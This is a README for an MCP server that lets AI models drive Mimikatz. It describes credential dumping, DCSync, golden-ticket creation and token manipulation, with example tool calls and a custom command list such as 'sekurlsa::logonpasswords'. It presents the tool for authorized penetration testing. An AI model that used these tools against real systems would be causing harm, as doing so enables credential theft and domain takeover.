Mimikatz MCP Server

A Model Context Protocol (MCP) server that provides programmatic access to Mimikatz, the powerful credential extraction and security assessment tool for Windows systems.

WARNING: This tool is intended for authorized security testing only. Unauthorized use of Mimikatz may be illegal and unethical. Always ensure you have proper authorization before using this tool.

Features

• Credential Extraction: Extract plaintext passwords, NTLM hashes, Kerberos tickets from memory

• SAM/LSA Dumping: Dump local SAM database and LSA secrets

• DCSync Attacks: Replicate Active Directory credentials

• Kerberos Attacks: Create Golden/Silver tickets, Pass-the-Ticket

• DPAPI Decryption: Decrypt Windows Data Protection API master keys

• Certificate Export: Export certificates with private keys

• Token Manipulation: Elevate privileges and impersonate users

Related MCP server: Cobalt Strike MCP Server

Installation

Prerequisites

• Node.js 18+

• Mimikatz binary (see Setup)

• Windows (native) or Linux with Wine (for Kali Linux)

Quick Start

# Clone the repository
git clone https://github.com/schwarztim/sec-mimikatz-mcp.git
cd sec-mimikatz-mcp

# Install dependencies
npm install

# Build
npm run build

Mimikatz Setup

Windows

Download Mimikatz from the official repository and place it in one of these locations:

• C:\tools\mimikatz\x64\mimikatz.exe

• C:\mimikatz\x64\mimikatz.exe

• %USERPROFILE%\mimikatz\x64\mimikatz.exe

Or set the MIMIKATZ_PATH environment variable.

Kali Linux

Mimikatz is typically pre-installed:

# Check if mimikatz is available
locate mimikatz.exe

# Common paths on Kali:
# /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
# /usr/share/mimikatz/x64/mimikatz.exe

Usage

Claude Desktop Configuration

Add to your claude_desktop_config.json:

{
  "mcpServers": {
    "mimikatz": {
      "command": "node",
      "args": ["/path/to/sec-mimikatz-mcp/dist/index.js"],
      "env": {
        "MIMIKATZ_PATH": "/path/to/mimikatz.exe"
      }
    }
  }
}

MCP Configuration (user-mcps.json)

{
  "mimikatz": {
    "command": "node",
    "args": ["/path/to/sec-mimikatz-mcp/dist/index.js"],
    "env": {
      "MIMIKATZ_PATH": "/usr/share/windows-resources/mimikatz/x64/mimikatz.exe"
    }
  }
}

Available Tools

Status and Information

Credential Extraction (sekurlsa)

LSA/SAM Dumping

Kerberos Attacks

Additional Tools

Examples

Check Installation Status

Tool: mimikatz_status

Extract Logon Passwords

Tool: mimikatz_sekurlsa_logonpasswords

DCSync Attack

Tool: mimikatz_lsadump_dcsync
Arguments:
  domain: "corp.example.com"
  user: "Administrator"

Create Golden Ticket

Tool: mimikatz_kerberos_golden
Arguments:
  domain: "corp.example.com"
  sid: "S-1-5-21-..."
  krbtgt_hash: "aad3b435b51404eeaad3b435b51404ee"
  user: "FakeAdmin"

Custom Commands

Tool: mimikatz_custom
Arguments:
  commands: ["privilege::debug", "sekurlsa::logonpasswords", "exit"]

Security Considerations

1. Authorization: Only use on systems you own or have explicit permission to test

2. Privilege Requirements: Most tools require administrative/SYSTEM privileges

3. Detection: Mimikatz is detected by most antivirus/EDR solutions

4. Audit Logs: Actions may be logged by Windows Event Log and SIEM systems

5. Legal Compliance: Ensure compliance with all applicable laws and regulations

Environment Variables

Troubleshooting

Mimikatz Not Found

Set the MIMIKATZ_PATH environment variable to the full path of your mimikatz.exe binary.

Permission Denied

Run with elevated privileges (Administrator on Windows, root on Linux).

Wine Issues on Linux

Ensure Wine is properly installed and configured:

sudo apt install wine64
wine --version

Development

# Install dependencies
npm install

# Development mode (with hot reload)
npm run dev

# Build
npm run build

# Run
npm start

License

MIT License - see LICENSE

Disclaimer

This tool is provided for educational and authorized security testing purposes only. The authors are not responsible for any misuse or damage caused by this tool. Always obtain proper authorization before conducting security assessments.

References

• Mimikatz GitHub

• Mimikatz Wiki

• Model Context Protocol